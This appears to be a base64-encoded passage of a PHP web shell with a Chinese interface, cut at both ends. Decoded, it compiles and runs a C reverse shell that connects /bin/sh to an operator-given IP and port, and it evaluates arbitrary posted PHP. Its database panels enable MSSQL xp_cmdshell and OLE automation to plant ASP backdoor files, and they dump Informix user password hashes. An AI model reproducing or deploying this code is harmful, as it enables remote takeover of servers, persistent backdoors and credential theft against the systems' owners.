RmRQU0p5YlNBdFppQWlPeUFOQ2lCa1lXVnRiMjRvTVN3d0tUc05DaUJ6YVc0dWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nYzJsdUxuTnBibDl3YjNKMElEMGdhSFJ2Ym5Nb1lYUnZhU2hoY21kMld6SmRLU2s3RFFvZ2MybHVMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2x1WlhSZllXUmtjaWhoY21kMld6RmRLVHNnRFFvZ1lucGxjbThvWVhKbmRsc3hYU3h6ZEhKc1pXNG9ZWEpuZGxzeFhTa3JNU3R6ZEhKc1pXNG9ZWEpuZGxzeVhTa3BPeUFOQ2lCbVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnU1ZCUVVrOVVUMTlVUTFBcElEc2dEUW9nYVdZZ0tDaGpiMjV1WldOMEtHWmtMQ0FvYzNSeWRXTjBJSE52WTJ0aFpHUnlJQ29wSUNaemFXNHNJSE5wZW1WdlppaHpkSEoxWTNRZ2MyOWphMkZrWkhJcEtTazhNQ2tnZXcwS0lDQWdjR1Z5Y205eUtDSmJMVjBnWTI5dWJtVmpkQ2dwSWlrN0RRb2dJQ0JsZUdsMEtEQXBPdzBLSUgwTkNpQnpkSEpqWVhRb2NtMXpMQ0JoY21kMld6QmRLVHNOQ2lCemVYTjBaVzBvY20xektUc2dJQTBLSUdSMWNESW9abVFzSURBcE93MEtJR1IxY0RJb1ptUXNJREVwT3cwS0lHUjFjRElvWm1Rc0lESXBPdzBLSUdWNFpXTnNLQ0l2WW1sdUwzTm9JaXdpYzJnZ0xXa2lMQ0JPVlV4TUtUc05DaUJqYkc5elpTaG1aQ2s3SUEwS2ZRPT0iOw0KCQkJCQkJZWNobyBGaWxlX1dyaXRlKCcvdG1wL3lvY29fYmMuYycsYmFzZTY0X2RlY29kZSgkYmFja19jb25uZWN0X2MpLCd3YicpID8gJ7S0vagvdG1wL3lvY29fYmMuY7PJuaY8YnI+JyA6ICe0tL2oL3RtcC95b2NvX2JjLmPKp7DcPGJyPic7DQoJCQkJCQkkcmVzID0gRXhlY19SdW4oJ2djYyAtbyAvdG1wL2FuZ2VsX2JjIC90bXAvYW5nZWxfYmMuYycpOw0KCQkJCQkJQHVubGluaygnL3RtcC95b2NvLmMnKTsNCgkJCQkJCWVjaG8gRXhlY19SdW4oJy90bXAveW9jb19iYyAnLiRfUE9TVFsneW91cmlwJ10uJyAnLiRfUE9TVFsneW91cnBvcnQnXS4nICYnKSA/ICduYyAtbCAtbiAtdiAtcCAnLiRfUE9TVFsneW91cnBvcnQnXSA6ICfWtNDQw/zB7sqnsNwnOw0KCQkJCQl9DQoJCQkJCWVjaG8gJzxicj7E47/J0tSzosrUway907bLv9ogKG5jIC1sIC1uIC12IC1wICcuJF9QT1NUWyd5b3VycG9ydCddLicpIDwvZGl2Pic7DQoJCQkJfQ0KCQkJCXJldHVybiB0cnVlOw0KCQkJfWVsc2V7DQoJCQkJcHJpbnQ8PDxFTkQNCjxkaXYgY2xhc3M9ImFjdGFsbCI+PHByZT4NCjxicj48YSBocmVmPSI/cz1kZCZ0eT1saW51eCI+IFsgQy9QZXJsILe0ta8gLSBMaW51eCBdIDwvYT48YnI+PGJyPg0KPGg1PrG+ubLE3NPD09psaW51eMzhyKjW0LXEt7TP8mNtZMGsvdOhozxicj4NCtStwO3Kx72rt7S1r8GsvdO5psTctcRwZXJsvcWxvrvy1d9Ds8zQ8tC0yOsvdG1wzsS8/rzQsqLUy9DQPGJyPg0KyPRwaHC9+9PDwcvD/MHu1rTQ0Lqvyv29q7/JxNy1vNbCt7S1r8qnsNw8YnI+DQqxvrXYx+vUy9DQbmOzzNDyvODM/bbLv9qjrMD9yOduYyAtdnYgLWwgLXAgMTI2NjY8L2g1Pjxicj48YnI+PGJyPg0KPGEgaHJlZj0iP3M9ZGQmdHk9c29ja2V0Ij4gWyBTb2NrZXS3tLWvIC0gV2luZG93cyBdIDwvYT48YnI+PGJyPg0KPGg1PlBIUMq508NTb2NrZXS9+NDQY21kc2hlbGy3tM/yway906GjV2Vic2hlbGzL+dTat/7O8cb3sdjQ686qV2luZG93c8+1zbM8YnI+DQrEv8eww7vT0Leiz9bT0LfAu6TI7bz+u+G21FNvY2tldLe0z/LBrL3T1/az9s/e1sajrLWrcGhwX3NvY2tldHOx2NDryejWw86qb3Blbi9lbmFibGU8YnI+DQrH68/Izai5/XBocGluZm8oKbqvyv2y6b+0t/7O8cb3yse38dTK0O1waHBfc29ja2V0way90zxicj4NClNvY2tldLe0z/LBrL3TtcTTw82+08PT2rWxUEhQvfvTw8HLsr+31sP8we7WtNDQuq/K/brztcTD/MHu1rTQ0Dxicj4NCrK70qrDpMS/way906Ost/HU8r2r1Oyzybf+zvHG97zZy8ChotfK1LS6xL6htcjRz9bYuvO5+zxicj4NCrG+tdjH68/I1MvQ0G5jLmV4ZbzgzP22y7/ao6zA/cjnbmMgLXZ2IC1sIC1wIDU1NTU8YnI+PC9oNT4NCjwvcHJlPjwvZGl2Pg0KRU5EOw0KCQkJfQ0KCQl9DQoJCS8vZXZhbNa00NBwaHC0+sLrDQoJCWZ1bmN0aW9uIHBocGNvZGUoKQ0KCQl7DQoJCQlwcmludDw8PEVORA0KPGRpdiBjbGFzcz0iYWN0YWxsIj48aDU+yuTI63BocLT6wus6PGg1PjwvZGl2Pg0KPGZvcm0gYWN0aW9uPSI/cz1mZiIgbWV0aG9kPSJQT1NUIj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+PHRleHRhcmVhIG5hbWU9InBocGNvZGUiIHJvd3M9IjIwIiBjb2xzPSI4MCI+cGhwaW5mbygpOy8qcHJpbnRfcihhcGFjaGVfZ2V0X21vZHVsZXMoKSk7Ki88L3RleHRhcmVhPjwvZGl2PjxiciAvPg0KPGRpdj48aW5wdXQgY2xhc3M9ImJ0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFVkFM1rTQ0CI+PC9kaXY+PGJyPjwvZm9ybT4NCkVORDsNCgkJCSRwaHBjb2RlID0gJF9QT1NUWydwaHBjb2RlJ107DQoJCQkkcGhwY29kZSA9IHRyaW0oJHBocGNvZGUpOw0KCQkJaWYoJHBocGNvZGUpew0KCQkJCWlmKCFwcmVnX21hdGNoKCcjPFw/I3NpJywkcGhwY29kZSkpeyRwaHBjb2RlID0gIjw/cGhwXG5cbnskcGhwY29kZX1cblxuPz4iO30NCgkJCQlldmFsKCI/Ii4iPiRwaHBjb2RlPD9waHAgIik7DQoJCQkJZWNobyAnPGJyPjxicj4nOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCS8vxuTL/Mr9vt2/4sGsvdMNCgkJZnVuY3Rpb24gb3RoZXJkYigpew0KCQkJJGRiID0gaXNzZXQoJF9HRVRbJ2RiJ10pID8gJF9HRVRbJ2RiJ10gOiAnbXMnOw0KCQkJcHJpbnQ8PDxFTkQNCjxmb3JtIG1ldGhvZD0iUE9TVCIgbmFtZT0iZGJmb3JtIiBpZD0iZGJmb3JtIiBhY3Rpb249Ij9zPWdnJmRiPXskZGJ9IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+DQo8YSBocmVmPSI/cz1nZyZkYj1tcyI+ICZuYnNwIE1TU1FMICZuYnNwPC9hPg0KPGEgaHJlZj0iP3M9Z2cmZGI9b3JhIj4gJm5ic3AgT3JhY2xlICZuYnNwPC9hPg0KPGEgaHJlZj0iP3M9Z2cmZGI9aWZ4Ij4gJm5ic3AgSW5mb3JNaXggJm5ic3A8L2E+DQo8YSBocmVmPSI/cz1nZyZkYj1mYiI+ICZuYnNwICBGaXJlQmlyZCAmbmJzcDwvYT4NCjxhIGhyZWY9Ij9zPWdnJmRiPWRiMiI+Jm5ic3AgREIyICZuYnNwPC9hPjwvZGl2PjwvZm9ybT4NCkVORDsNCgkJCWlmICgkZGI9PSJtcyIpew0KCQkJCSRtc2hvc3QgPSBpc3NldCgkX1BPU1RbJ21zaG9zdCddKSA/ICRfUE9TVFsnbXNob3N0J106J2xvY2FsaG9zdCc7DQoJCQkJJG1zdXNlciA9IGlzc2V0KCRfUE9TVFsnbXN1c2VyJ10pID8gJF9QT1NUWydtc3VzZXInXSA6ICdzYSc7DQoJCQkJJG1zcGFzcyA9IGlzc2V0KCRfUE9TVFsnbXNwYXNzJ10pID8gJF9QT1NUWydtc3Bhc3MnXSA6ICcnOw0KCQkJCSRtc2RibmFtZSA9IGlzc2V0KCRfUE9TVFsnbXNkYm5hbWUnXSkgPyAkX1BPU1RbJ21zZGJuYW1lJ10gOiAnbWFzdGVyJzsNCgkJCQkkbXNhY3Rpb24gPSBpc3NldCgkX1BPU1RbJ2FjdGlvbiddKSA/ICRfUE9TVFsnYWN0aW9uJ10gOiAnJzsNCgkJCQkkbXNxdWVyeSA9IGlzc2V0KCRfUE9TVFsnbXNzcWwnXSkgPyAkX1BPU1RbJ21zc3FsJ10gOiAnJzsNCgkJCQkkbXNxdWVyeSA9IHN0cmlwc2xhc2hlcygkbXNxdWVyeSk7DQoJCQkJcHJpbnQ8PDxFTkQNCjxkaXYgY2xhc3M9ImFjdGFsbCI+DQo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9Im1zZm9ybSIgYWN0aW9uPSI/cz1nZyZkYj1tcyI+DQpIb3N0OjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtc2hvc3QiIHZhbHVlPSJ7JG1zaG9zdH0iIHN0eWxlPSJ3aWR0aDoxMDBweCI+DQpVc2VyOjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtc3VzZXIiIHZhbHVlPSJ7JG1zdXNlcn0iIHN0eWxlPSJ3aWR0aDoxMDBweCI+DQpQYXNzOjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtc3Bhc3MiIHZhbHVlPSJ7JG1zcGFzc30iIHN0eWxlPSJ3aWR0aDoxMDBweCI+DQpEYm5hbWU6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1zZGJuYW1lIiB2YWx1ZT0ieyRtc2RibmFtZX0iIHN0eWxlPSJ3aWR0aDoxMDBweCI+PGJyPg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBtc0Z1bGwoaSl7DQoJU3RyID0gbmV3IEFycmF5KDExKTsNCglTdHJbMF0gPSAiIjsNCglTdHJbMV0gPSAic2VsZWN0IEBAdmVyc2lvbjsiOw0KCVN0clsyXSA9ICJzZWxlY3QgbmFtZSBmcm9tIHN5c2RhdGFiYXNlczsiOw0KCVN0clszXSA9ICJzZWxlY3QgbmFtZSBmcm9tIHN5c29iamVjdCB3aGVyZSB0eXBlPSdVJzsiOw0KCVN0cls0XSA9ICJzZWxlY3QgbmFtZSBmcm9tIHN5c2NvbHVtbnMgd2hlcmUgaWQ9T2JqZWN0X0lkKCd0YWJsZV9uYW1lJyk7IjsNCglTdHJbNV0gPSAiVXNlIG1hc3RlciBkYmNjIGFkZGV4dGVuZGVkcHJvYyAoJ3NwX09BQ3JlYXRlJywnb2Rzb2xlNzAuZGxsJyk7IjsNCglTdHJbNl0gPSAiVXNlIG1hc3RlciBkYmNjIGFkZGV4dGVuZGVkcHJvYyAoJ3hwX2NtZHNoZWxsJywneHBsb2c3MC5kbGwnKTsiOw0KCVN0cls3XSA9ICJFWEVDIHNwX2NvbmZpZ3VyZSAnc2hvdyBhZHZhbmNlZCBvcHRpb25zJywgMTtSRUNPTkZJR1VSRTtFWEVDIHNwX2NvbmZpZ3VyZSAneHBfY21kc2hlbGwnLCAxO1JFQ09ORklHVVJFOyI7DQoJU3RyWzhdID0gImV4ZWMgc3BfY29uZmlndXJlICdzaG93IGFkdmFuY2VkIG9wdGlvbnMnLCAxO1JFQ09ORklHVVJFO2V4ZWMgc3BfY29uZmlndXJlICdPbGUgQXV0b21hdGlvbiBQcm9jZWR1cmVzJywxO1JFQ09ORklHVVJFOyI7DQoJU3RyWzldID0gImV4ZWMgc3BfY29uZmlndXJlICdzaG93IGFkdmFuY2VkIG9wdGlvbnMnLCAxO1JFQ09ORklHVVJFO2V4ZWMgc3BfY29uZmlndXJlICdBZCBIb2MgRGlzdHJpYnV0ZWQgUXVlcmllcycsMTtSRUNPTkZJR1VSRTsiOw0KCVN0clsxMF0gPSAiRXhlYyBtYXN0ZXIuZGJvLnhwX2NtZHNoZWxsICduZXQgdXNlcic7IjsNCglTdHJbMTFdID0gIkRlY2xhcmUgQHMgIGludDtleGVjIHNwX29hY3JlYXRlICd3c2NyaXB0LnNoZWxsJyxAcyBvdXQ7RXhlYyBTUF9PQU1ldGhvZCBAcywncnVuJyxOVUxMLCdjbWQuZXhlIC9jIGVjaG8gXjwlZXhlY3V0ZShyZXF1ZXN0KGNoYXIoMzUpKSklXj4gPiBjOlxcXFwxLmFzcCc7IjsNCglTdHJbMTJdID0gInNwX21ha2V3ZWJ0YXNrIEBvdXRwdXRmaWxlPSdkOlxcXFx3ZWJcXFxcYmluLmFzcCcsQGNoYXJzZXQ9Z2IyMzEyLEBxdWVyeT0nc2VsZWN0ICcnPCVleGVjdXRlKHJlcXVlc3QoY2hyKDM1KSkpJT4nJycgIjsNCgltc2Zvcm0ubXNzcWwudmFsdWUgPSBTdHJbaV07DQoJcmV0dXJuIHRydWU7DQp9DQo8L3NjcmlwdD4NCjx0ZXh0YXJlYSBuYW1lPSJtc3NxbCIgc3R5bGU9IndpZHRoOjYwMHB4O2hlaWdodDoyMDBweDsiPnskbXNxdWVyeX08L3RleHRhcmVhPjxicj4NCjxzZWxlY3Qgb25jaGFuZ2U9InJldHVybiBtc0Z1bGwob3B0aW9uc1tzZWxlY3RlZEluZGV4XS52YWx1ZSkiPg0KCTxvcHRpb24gdmFsdWU9IjAiIHNlbGVjdGVkPta00NDD/MHuPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iMSI+z9TKvrDmsb48L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSIyIj7K/b7dv+I8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSIzIj6x7bbOPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iNCI+19a2zjwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9IjUiPnNwX29hY3JlYXRlPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iNiI+eHBfY21kc2hlbGw8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSI3Ij54cF9jbWRzaGVsbCgyMDA1KTwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9IjgiPnNwX29hY3JlYXRlKDIwMDUpPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iOSI+tPK/qm9wZW5yb3dzZXQoMjAwNSk8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSIxMCI+eHBfY21kc2hlbGwgZXhlYzwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9IjEwIj5zcF9vYW1ldGhvZCBleGVjPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iMTEiPnNwX21ha2V3ZWJ0YXNrPC9vcHRpb24+DQo8L3NlbGVjdD4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9Im1zcXVlcnkiPg0KPGlucHV0IGNsYXNzPSJidCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUXVlcnkiPjwvZm9ybT48L2Rpdj4NCkVORDsNCgkJCQlpZiAoJG1zYWN0aW9uID09ICdtc3F1ZXJ5Jyl7DQoJCQkJCSRtc2Nvbm49IG1zc3FsX2Nvbm5lY3QgKCRtc2hvc3QgLCAkbXN1c2VyLCAkbXNwYXNzKTsNCgkJCQkJbXNzcWxfc2VsZWN0X2RiKCRtc2RibmFtZSwkbXNjb25uKSBvciBkaWUoImNvbm5lY3QgZXJyb3IgOiIgLm1zc3FsX2dldF9sYXN0X21lc3NhZ2UoKSk7DQoJCQkJCSRtc3Jlc3VsdCA9IG1zc3FsX3F1ZXJ5KCRtc3F1ZXJ5KSBvciBkaWUobXNzcWxfZ2V0X2xhc3RfbWVzc2FnZSgpKTsNCgkJCQkJZWNobyAnPGZvbnQgZmFjZT0idmVyZGFuYSI+PHRhYmxlIGJvcmRlcj0iMSIgY2VsbHBhZGRpbmc9IjEiIGNlbGxzcGFjaW5nPSIyIj4nLiJcbjx0cj5cbiI7DQoJCQkJCWZvciAoJGk9MDsgJGk8bXNzcWxfbnVtX2ZpZWxkcygkbXNyZXN1bHQpOyAkaSsrKQ0KCQkJCQl7ZWNobyAnPHRkPjxiPicubXNzcWxfZmllbGRfbmFtZSgkbXNyZXN1bHQsICRpKS4iPC9iPjwvdGQ+XG4iO30NCgkJCQkJZWNobyAiPC90cj5cbiI7DQoJCQkJCW1zc3FsX2RhdGFfc2VlaygkcmVzdWx0LCAwKTsNCgkJCQkJd2hpbGUgKCRtc3Jvdz1tc3NxbF9mZXRjaF9yb3coJG1zcmVzdWx0KSkNCgkJCQkJew0KCQkJCQkJZWNobyAiPHRyPlxuIjsNCgkJCQkJCWZvciAoJGk9MDsgJGk8bXNzcWxfbnVtX2ZpZWxkcygkbXNyZXN1bHQpOyAkaSsrICkNCgkJCQkJCXtlY2hvICc8dGQ+Jy4iJG1zcm93WyRpXSIuJzwvdGQ+Jzt9DQoJCQkJCQllY2hvICI8L3RyPlxuIjsNCgkJCQkJfQ0KCQkJCQllY2hvICI8L3RhYmxlPjwvZm9udD4iOw0KCQkJCQltc3NxbF9mcmVlX3Jlc3VsdCgkbXNyZXN1bHQpOw0KCQkJCQltc3NxbF9jbG9zZSgpOw0KCQkJCX0NCgkJCX0NCgkJCWVsc2VpZiAoJGRiPT0ib3JhIil7DQoJCQkJJG9yYWhvc3QgPSBpc3NldCgkX1BPU1RbJ29yYWhvc3QnXSkgPyAkX1BPU1RbJ29yYWhvc3QnXSA6ICdsb2NhbGhvc3QnOw0KCQkJCSRvcmFwb3J0ID0gaXNzZXQoJF9QT1NUWydvcmFwb3J0J10pID8gJF9QT1NUWydvcmFwb3J0J10gOiAnMTUyMSc7DQoJCQkJJG9yYXVzZXIgPSBpc3NldCgkX1BPU1RbJ29yYXVzZXInXSkgPyAkX1BPU1RbJ29yYXVzZXInXSA6ICdyb290JzsNCgkJCQkkb3JhcGFzcyA9IGlzc2V0KCRfUE9TVFsnb3JhcGFzcyddKSA/ICRfUE9TVFsnb3JhcGFzcyddIDogJzEyMzQ1Nic7DQoJCQkJJG9yYXNpZCA9IGlzc2V0KCRfUE9TVFsnb3Jhc2lkJ10pID8gJF9QT1NUWydvcmFzaWQnXSA6ICdPUkNMJzsNCgkJCQkkb3JhYWN0aW9uID0gaXNzZXQoJF9QT1NUWydhY3Rpb24nXSkgPyAkX1BPU1RbJ2FjdGlvbiddIDogJyc7DQoJCQkJJG9yYXF1ZXJ5ID0gaXNzZXQoJF9QT1NUWydvcmFzcWwnXSkgPyAkX1BPU1RbJ29yYXNxbCddIDogJyc7DQoJCQkJJG9yYXF1ZXJ5ID0gc3RyaXBzbGFzaGVzKCRvcmFxdWVyeSk7DQoJCQkJcHJpbnQ8PDxFTkQNCjxmb3JtIG1ldGhvZD0iUE9TVCIgbmFtZT0ib3JhZm9ybSIgYWN0aW9uPSI/cz1nZyZkYj1vcmEiPg0KPGRpdiBjbGFzcz0iYWN0YWxsIj4NCkhvc3Q6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im9yYWhvc3QiIHZhbHVlPSJ7JG9yYWhvc3R9IiBzdHlsZT0id2lkdGg6MTAwcHgiPg0KUG9ydDo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ib3JhcG9ydCIgdmFsdWU9Inskb3JhcG9ydH0iIHN0eWxlPSJ3aWR0aDo1MHB4Ij4NClVzZXI6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im9yYXVzZXIiIHZhbHVlPSJ7JG9yYXVzZXJ9IiBzdHlsZT0id2lkdGg6ODBweCI+DQpQYXNzOjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJvcmFwYXNzIiB2YWx1ZT0ieyRvcmFwYXNzfSIgc3R5bGU9IndpZHRoOjEwMHB4Ij4NClNJRDo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ib3Jhc2lkIiB2YWx1ZT0ieyRvcmFzaWR9IiBzdHlsZT0id2lkdGg6NTBweCI+PGJyPg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBvcmFGdWxsKGkpew0KU3RyID0gbmV3IEFycmF5KDUpOw0KCVN0clswXSA9ICIiOw0KCVN0clsxXSA9ICJzZWxlY3QgdmVyc2lvbigpOyI7DQoJU3RyWzJdID0gIlNFTEVDVCBOQU1FIEZST00gViREQVRBQkFTRSI7DQoJU3RyWzNdID0gInNlbGVjdCAqIEZyb20gYWxsX29iamVjdHMgd2hlcmUgb2JqZWN0X3R5cGU9J1RBQkxFJyI7DQoJU3RyWzRdID0gInNlbGVjdCBjb2x1bW5fbmFtZSBmcm9tIHVzZXJfdGFiX2NvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndGFibGUxJyI7DQoJb3JhZm9ybS5vcmFzcWwudmFsdWUgPSBTdHJbaV07DQoJcmV0dXJuIHRydWU7DQp9DQo8L3NjcmlwdD4NCjx0ZXh0YXJlYSBuYW1lPSJvcmFzcWwiIHN0eWxlPSJ3aWR0aDo2MDBweDtoZWlnaHQ6MjAwcHg7Ij57JG9yYXF1ZXJ5fTwvdGV4dGFyZWE+PGJyPg0KPHNlbGVjdCBvbmNoYW5nZT0icmV0dXJuIG9yYUZ1bGwob3B0aW9uc1tzZWxlY3RlZEluZGV4XS52YWx1ZSkiPg0KCTxvcHRpb24gdmFsdWU9IjAiIHNlbGVjdGVkPta00NDD/MHuPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iMSI+z9TKvrDmsb48L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSIyIj7K/b7dv+I8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSIzIj6x7bbOPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iNCI+19a2zjwvb3B0aW9uPg0KPC9zZWxlY3Q+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJteXF1ZXJ5Ij4NCjxpbnB1dCBjbGFzcz0iYnQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlF1ZXJ5Ij48L2Rpdj48L2Zvcm0+DQpFTkQ7DQoJCQkJaWYoJG9yYWFjdGlvbiA9PSAnb3JhcXVlcnknKXsNCgkJCQkJJG9yYWxpbms9T0NJTG9nb24oJG9yYXVzZXIsJG9yYXBhc3MsIihERXNjcmlwdElPTj0oQUREUkVTUz0oUFJPVE9DT0wgPVRDUCkoSE9TVD0kb3JhaG9zdCkoUE9SVCA9ICRvcmFwb3J0KSkoQ09OTkVDVF9EQVRBID0oU0lEPSRvcmFzaWQpKSkiKSBvciBkaWUob2NpZXJyb3IoKSk7DQoJCQkJCSRvcmFyZXN1bHQ9b2NpcGFyc2UoJG9yYWxpbmssJG9yYXF1ZXJ5KSBvciBkaWUob2NpZXJyb3IoKSk7DQoJCQkJCSRvcmFyb3c9b2NpX2ZldGNoX3Jvdygkb3JhcmVzdWx0KTsNCgkJCQkJZWNobyAnPGZvbnQgZmFjZT0idmVyZGFuYSI+PHRhYmxlIGJvcmRlcj0iMSIgY2VsbHBhZGRpbmc9IjEiIGNlbGxzcGFjaW5nPSIyIj4nLiJcbjx0cj5cbiI7DQoJCQkJCWZvciAoJGk9MDsgJGk8b2NpX251bV9maWVsZHMoJG9yYXJlc3VsdCk7ICRpKyspDQoJCQkJCXtlY2hvICc8dGQ+PGI+Jy5vY2lfZmllbGRfbmFtZSgkb3JhcmVzdWx0LCAkaSkuIjwvYj48L3RkPlxuIjt9DQoJCQkJCWVjaG8gIjwvdHI+XG4iOw0KCQkJCQlvY2lyZXN1bHQoJG9yYXJlc3VsdCwgMCk7DQoJCQkJCXdoaWxlICgkb3Jhcm93PW9yYV9mZXRjaF9yb3coJG9yYXJlc3VsdCkpDQoJCQkJCXsNCgkJCQkJCWVjaG8gIjx0cj5cbiI7DQoJCQkJCQlmb3IgKCRpPTA7ICRpPG9yYV9udW1fZmllbGRzKCRyZXN1bHQpOyAkaSsrICkNCgkJCQkJCXtlY2hvICc8dGQ+Jy4iJG9yYXJvd1skaV0iLic8L3RkPic7fQ0KCQkJCQkJZWNobyAiPC90cj5cbiI7DQoJCQkJCX0NCgkJCQkJZWNobyAiPC90YWJsZT48L2ZvbnQ+IjsNCgkJCQkJb2NpX2ZyZWVfc3RhdGVtZW50KCRvcmFyZXN1bHQpOw0KCQkJCQlvY2lsb2dvZmYoKTsNCgkJCQl9DQoJCQl9DQoJCQllbHNlaWYgKCRkYiA9PSAiaWZ4Iil7DQoJCQkJJGlmeHVzZXIgPSBpc3NldCgkX1BPU1RbJ2lmeHVzZXInXSkgPyAkX1BPU1RbJ2lmeHVzZXInXSA6ICdyb290JzsNCgkJCQkkaWZ4cGFzcyA9IGlzc2V0KCRfUE9TVFsnaWZ4cGFzcyddKSA/ICRfUE9TVFsnaWZ4cGFzcyddIDogJzEyMzQ1Nic7DQoJCQkJJGlmeGRibmFtZSA9IGlzc2V0KCRfUE9TVFsnaWZ4ZGJuYW1lJ10pID8gJF9QT1NUWydpZnhkYm5hbWUnXSA6ICdpZnhkYic7DQoJCQkJJGlmeGFjdGlvbiA9IGlzc2V0KCRfUE9TVFsnYWN0aW9uJ10pID8gJF9QT1NUWydhY3Rpb24nXSA6ICcnOw0KCQkJCSRpZnhxdWVyeSA9IGlzc2V0KCRfUE9TVFsnaWZ4c3FsJ10pID8gJF9QT1NUWydpZnhzcWwnXSA6ICcnOw0KCQkJCSRpZnhxdWVyeSA9IHN0cmlwc2xhc2hlcygkaWZ4cXVlcnkpOw0KCQkJCXByaW50PDw8RU5EDQo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9ImlmeGZvcm0iIGFjdGlvbj0iP3M9Z2cmZGI9aWZ4Ij4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+RGJuYW1lOjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJpZnhob3N0IiB2YWx1ZT0ieyRpZnhkYm5hbWV9IiBzdHlsZT0id2lkdGg6MTAwcHgiPg0KVXNlcjo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaWZ4dXNlciIgdmFsdWU9InskaWZ4dXNlcn0iIHN0eWxlPSJ3aWR0aDoxMDBweCI+DQpQYXNzOjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJpZnhwYXNzIiB2YWx1ZT0ieyRpZnhwYXNzfSIgc3R5bGU9IndpZHRoOjEwMHB4Ij48YnI+DQo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIGlmeEZ1bGwoaSl7DQpTdHIgPSBuZXcgQXJyYXkoMTEpOw0KCVN0clswXSA9ICIiOw0KCVN0clsxXSA9ICJzZWxlY3QgZGJzZXJ2ZXJuYW1lIGZyb20gc3lzb2JqZWN0czsiOw0KCVN0clsyXSA9ICJzZWxlY3QgbmFtZSBmcm9tIHN5c2RhdGFiYXNlczsiOw0KCVN0clszXSA9ICJzZWxlY3QgdGFibmFtZSBmcm9tIHN5c3RhYmxlczsiOw0KCVN0cls0XSA9ICJzZWxlY3QgY29sbmFtZSBmcm9tIHN5c2NvbHVtbnMgd2hlcmUgdGFiaWQ9bjsiOw0KCVN0cls1XSA9ICJzZWxlY3QgdXNlcm5hbWUsdXNlcnR5cGUscGFzc3dvcmQgZnJvbSBzeXN1c2VyczsiOw0KCWlmeGZvcm0uaWZ4c3FsLnZhbHVlID0gU3RyW2ldOw0KCXJldHVybiB0cnVlOw0KfQ0KPC9zY3JpcHQ+DQo8dGV4dGFyZWEgbmFtZT0iaWZ4c3FsIiBzdHlsZT0id2lkdGg6NjAwcHg7aGVpZ2h0OjIwMHB4OyI+eyRpZnhxdWVyeX08L3RleHRhcmVhPjxicj4NCjxzZWxlY3Qgb25jaGFuZ2U9InJldHVybiBpZnhGdWxsKG9wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWUpIj4NCgk8b3B0aW9uIHZhbHVlPSIwIiBzZWxlY3RlZD7WtNDQw/zB7jwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9IjEiPsr9vt2/4rf+zvHG98P7s8Y8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSIxIj7K/b7dv+I8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSIyIj6x7bbOPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iMyI+19a2zjwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9IjQiPmhhc2hlczwvb3B0aW9uPg0KPC9zZWxlY3Q+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJpZnhxdWVyeSI+DQo8aW5wdXQgY2xhc3M9ImJ0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJRdWVyeSI+PC9kaXY+PC9mb3JtPg0KRU5EOw0KCQkJCWlmKCRpZnhhY3Rpb24gPT0gJ2lmeHF1ZXJ5Jyl7DQoJCQkJCSRpZnhsaW5rID0gaWZ4X2Nvbm5lY3